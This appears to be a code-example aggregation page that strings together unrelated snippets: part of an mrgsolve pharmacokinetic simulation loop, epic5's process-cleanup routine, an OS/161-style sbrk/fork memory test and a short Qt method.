      // For this ID, we already have parameters from the first row; only update when
      // we come across a record from the data set
      if(this_rec->from_data()) {
	dat->copy_parameters(this_rec->pos(), prob);
      }

      tto = this_rec->time();
      denom = tfrom == 0 ? 1 : tfrom;
      dt  = (tto-tfrom)/denom;


      // If tto is too close to tfrom, set tto to tfrom
      // dt is never negative; dt will never be < mindt when mindt==0
      if((dt > 0.0) && (dt < mindt)) { // don't bother if dt==0
	if(debug) {
	  Rcpp::Rcout << "" << std::endl;
	  Rcpp::Rcout << "Two records are too close to each other:" <<  std::endl;
	  Rcpp::Rcout << "  evid: " << this_rec->evid() << std::endl;
	  Rcpp::Rcout << "  tfrom: " << tfrom << std::endl;
	  Rcpp::Rcout << "  tto: " << tto << std::endl;
	  Rcpp::Rcout << "  dt:  " << tto - tfrom << std::endl;
	  Rcpp::Rcout << "  pos: " << this_rec->pos() << std::endl;
	  Rcpp::Rcout << "  id: "  << this_rec->id() << std::endl;
	}
	tto = tfrom;
      }


      // Only copy in a new eps value if we are actually advancing in time:
      if((tto > tfrom) && (crow < NN)) {
	for(int k = 0; k < neps; k++) {
	  prob->eps(k,eps(crow,k));
	}
      }

      prob->evid(this_rec->evid());
      prob->init_call_record(tto);
      prob->INITSOLV();

      // Schedule ADDL and infusion end times
      if((this_rec->is_event()) && (this_rec->from_data())) {

    	ev_ptr ev = boost::dynamic_pointer_cast<pkevent>(this_rec);

	//if(ev->evid()==11) {
	// ev->amt(prob->xdose());
	// ev->rate();
	//}

	// Grab Bioavailability
	double biofrac = prob->fbio(abs(ev->cmt())-1);
    	if(biofrac < 0) {
	  CRUMP("mrgsolve: Bioavailability fraction is less than zero.");
	}
	ev->fn(biofrac);


	// We already found an negative rate or duration in the data set.
	if(ev->rate() < 0) {
	  if(ev->rate() == -1) {
	    this_cmt = ev->cmt()-1;
	    if(prob->rate(this_cmt) <=0) {
	      Rcpp::Rcout << "R(" << this_cmt + 1 << ") must be set to a positive value in $MAIN." << std::endl;
	      Rcpp::stop("Invalid infusion settings.");
	    }
	    ev->rate(prob->rate(this_cmt));
	  }

	  if(ev->rate() == -2) {
	    this_cmt = ev->cmt()-1;
	    if(prob->dur(this_cmt) <= 0) {
	      Rcpp::Rcout << "D(" << this_cmt + 1 << ") must be set to a positive value in $MAIN." << std::endl;
	      Rcpp::stop("Invalid infusion settings.");
	    }
	    ev->rate(ev->amt() * biofrac / prob->dur(this_cmt));
	  }
	}

	// If alag set for this compartment
	// spawn a new event with no output and time modified by alag
	// disarm this event
	if(prob->alag(ev->cmt()) > 0) {

	  ev->unarm();

	  //int nextpos = put_ev_first ? -100 : (thisi.size() + 10);

	  ev_ptr newev(new pkevent(ev->cmt(),
				   ev->evid(),
				   ev->amt(),
				   (ev->time() + prob->alag(ev->cmt())),
				   ev->rate()));
	  newev->addl(ev->addl());
	  newev->ii(ev->ii());
	  newev->ss(ev->ss());
	  newev->id(ev->id());
	  newev->pos(-100);
	  newev->fn(biofrac);
	  newev->output(false);

	  reclist::iterator it = thisi.begin()+j;
	  advance(it,1);
	  thisi.insert(it,newev);
	  newev->schedule(thisi, maxtime,addl_ev_first);
	  std::sort(thisi.begin()+j,thisi.end(), CompByTimePosRec);

	} else {
	  ev->schedule(thisi, maxtime,addl_ev_first); //pkevent.cpp
	  if(ev->needs_sorting()) {
	    std::sort(thisi.begin()+j, thisi.end(), CompByTimePosRec);
	  }
	}
      }

      // Implement dosing events:
      //ttmp = this_rec->time();
      //prob->advance(tfrom,ttmp);
      //tfrom = ttmp;
      prob -> advance(tfrom,tto);

      if(ev_before_table) {
	if(this_rec->evid()!=2) {
	  this_rec->implement(prob);
	  if(this_rec->evid() !=0) prob->lsoda_init();
	}
      }

      //prob->advance(tfrom,tto);

      // Write save values to output matrix:
      prob->table_call();

      if(this_rec->output()) {
      	if(ntable>0) {
       	  k=0;
	  for(int i=0; i < ntable; i++) {
	    ans(crow,k+table_start) = prob->table(tablenames.at(i));
	    ++k;
	  }
      	}
      	for(int k=0; k < nreq; k++) ans(crow,(k+req_start)) = prob->y(request[k]);
      	crow++;
      }// end if ouput()

      // if(!ev_before_table) {
      // 	if(this_rec->evid()!=2) {
      // 	  this_rec->implement(prob);
      // 	  if(this_rec->evid() !=0) prob->lsoda_init();
      // 	}
      // }

      // Reset or other events:
      if(this_rec->evid()==2) {
      	this_rec->implement(prob);
	prob->lsoda_init();
      }
      tfrom = tto;
    }
  }

  if((verbose||debug)) Rcpp::Rcout << "done. " << std::endl;


  // Significant digits in simulated variables and outputs too
  if(digits>0) for(size_t i=req_start; i < ans.ncol(); i++) ans(Rcpp::_, i) = signif(ans(Rcpp::_,i), digits);
  if((tscale !=1) && (tscale >= 0)) ans(Rcpp::_,1) = ans(Rcpp::_,1) * tscale;

  // // Assemble return List
  ret["data"] = ans;
  ret["outnames"] = tablenames;
  ret["trannames"] = tran_names;
  ret["issues"] = Rcpp::CharacterVector(0);


  // // Clean up
  delete prob;
  delete dat;
  delete idat;
  return ret;
}
示例#28
0
文件: exec.c 项目: srfrog/epic5
/*
 * This function is called by the three places that can effect a change
 * on the state of a running process:
 * 	1) get_child_exit, which can mark a process as exited
 *	2) do_processes, which can mark a child as being done with I/O
 *	3) execcmd, which can mark a child as being done with I/O
 *
 * Any processes that are found to have both exited and having completed
 * their I/O will be summarily destroyed.
 */
static void 	cleanup_dead_processes (void)
{
	int	i;
	List	*cmd,
		*next;
	Process *deadproc, *proc;
	char	*exit_info;
	int	old_from_server, l;

	if (!process_list)
		return;		/* Nothing to do */

	old_from_server = from_server;
	for (i = 0; i < process_list_size; i++)
	{
		if (!(proc = process_list[i]))
			continue;

		/*
		 * We do not parse the process if it has not 
		 * both exited and finished its io, UNLESS
		 * it has been disowned.
		 */
		if ((!proc->exited || !proc->dumb) && !proc->disowned)
			continue;		/* Not really dead yet */

		deadproc = process_list[i];
		process_list[i] = NULL;

		/*
		 * First thing to do is fill out the exit information
		 */
		if (deadproc->logical)
		{
			size_t	len = strlen(deadproc->logical) + 25;

			exit_info = alloca(len);
			snprintf(exit_info, len, "%s %d %d", 
					deadproc->logical, deadproc->termsig,
					deadproc->retcode);
		}
		else
		{
			exit_info = alloca(40);
			snprintf(exit_info, 32, "%d %d %d",
				deadproc->index, deadproc->termsig, deadproc->retcode);
		}

		from_server = deadproc->server;
		l = message_from(NULL, LEVEL_OTHER);

		/*
		 * First thing we do is run any /wait %proc -cmd commands
		 */
		next = deadproc->waitcmds;
		deadproc->waitcmds = NULL;
		while ((cmd = next))
		{
			next = cmd->next;
			call_lambda_command("WAITPROC", cmd->name, exit_info);
			new_free(&cmd->name);
			new_free((char **)&cmd);
		}

		/*
		 * Throw /on exec_exit
		 */
		if (do_hook(EXEC_EXIT_LIST, "%s", exit_info))
		{
		    if (get_int_var(NOTIFY_ON_TERMINATION_VAR))
		    {
			if (deadproc->termsig > 0 && deadproc->termsig < NSIG)
			{
				say("Process %d (%s) terminated "
					"with signal %s (%d)", 
				   deadproc->index, deadproc->name, 
				   sys_siglist[deadproc->termsig], 
				   deadproc->termsig);
			}
			else if (deadproc->disowned)
			{
				say("Process %d (%s) disowned", 
				   deadproc->index, deadproc->name);
			}
			else
			{
				say("Process %d (%s) terminated "
					"with return code %d", 
				   deadproc->index, deadproc->name, 
				   deadproc->retcode);
			}
		    }
		}
		pop_message_from(l);

		deadproc->p_stdin = new_close(deadproc->p_stdin);
		deadproc->p_stdout = new_close(deadproc->p_stdout);
		deadproc->p_stderr = new_close(deadproc->p_stderr);
		new_free(&deadproc->name);
		new_free(&deadproc->logical);
		new_free(&deadproc->who);
		new_free(&deadproc->redirect);
		new_free(&deadproc->stdoutc);
		new_free(&deadproc->stdoutpc);
		new_free(&deadproc->stderrc);
		new_free(&deadproc->stderrpc);
		new_free((char **)&deadproc);
	}

	/*
	 * Resize away any dead processes at the end
	 */
	for (i = process_list_size - 1; i >= 0; i--)
	{
		if (process_list[i])
			break;
	}

	if (process_list_size != i + 1)
	{
		process_list_size = i + 1;
		RESIZE(process_list, Process, process_list_size);
	}

	from_server = old_from_server;
}
示例#29
0
/*
 * Allocate and free in both the parent and the child, and do more
 * than one page.
 */
static
void
test15(void)
{
	unsigned num = 12;

	pid_t pid;
	unsigned i;
	void *p;

	printf("Allocating %u pages...\n", num);
	p = dosbrk(PAGE_SIZE * num);
	for (i=0; i<num; i++) {
		markpage(p, i);
	}
	for (i=0; i<num; i++) {
		if (checkpage(p, i, false)) {
			errx(1, "FAILED: data corrupt before forking");
		}
	}

	printf("Freeing one page...\n");
	(void)dosbrk(-PAGE_SIZE);
	num--;
	for (i=0; i<num; i++) {
		if (checkpage(p, i, false)) {
			errx(1, "FAILED: data corrupt before forking (2)");
		}
	}

	printf("Allocating two pages...\n");
	(void)dosbrk(PAGE_SIZE * 2);
	markpage(p, num++);
	markpage(p, num++);
	for (i=0; i<num; i++) {
		if (checkpage(p, i, false)) {
			errx(1, "FAILED: data corrupt before forking (3)");
		}
	}

	printf("Forking...\n");
	pid = dofork();
	if (pid == 0) {
		/* child */
		for (i=0; i<num; i++) {
			if (checkpage(p, i, false)) {
				errx(1, "FAILED: data corrupt in child");
			}
		}

		say("Child: freeing three pages\n");
		dosbrk(-PAGE_SIZE * 3);
		num -= 3;
		for (i=0; i<num; i++) {
			if (checkpage(p, i, false)) {
				errx(1, "FAILED: data corrupt in child (2)");
			}
		}

		say("Child: allocating two pages\n");
		dosbrk(PAGE_SIZE * 2);
		markpage(p, num++);
		markpage(p, num++);
		for (i=0; i<num; i++) {
			if (checkpage(p, i, false)) {
				errx(1, "FAILED: data corrupt in child (3)");
			}
		}

		say("Child: freeing all\n");
		dosbrk(-PAGE_SIZE * num);
		exit(0);
	}
	say("Parent: allocating four pages\n");
	dosbrk(PAGE_SIZE * 4);
	for (i=0; i<4; i++) {
		markpage(p, num++);
	}
	for (i=0; i<num; i++) {
		if (checkpage(p, i, false)) {
			errx(1, "FAILED: data corrupt in parent");
		}
	}

	say("Parent: waiting\n");
	dowait(pid);

	for (i=0; i<num; i++) {
		if (checkpage(p, i, false)) {
			errx(1, "FAILED: data corrupt after waiting");
		}
	}

	(void)dosbrk(-PAGE_SIZE * num);
	printf("Passed sbrk test 15.\n");
}
示例#30
0
void Board::wait()
{
	puts(">>>> wait for one time");
	info.sprintf("Sorry, STOP for one time\n");
	emit say(info);
}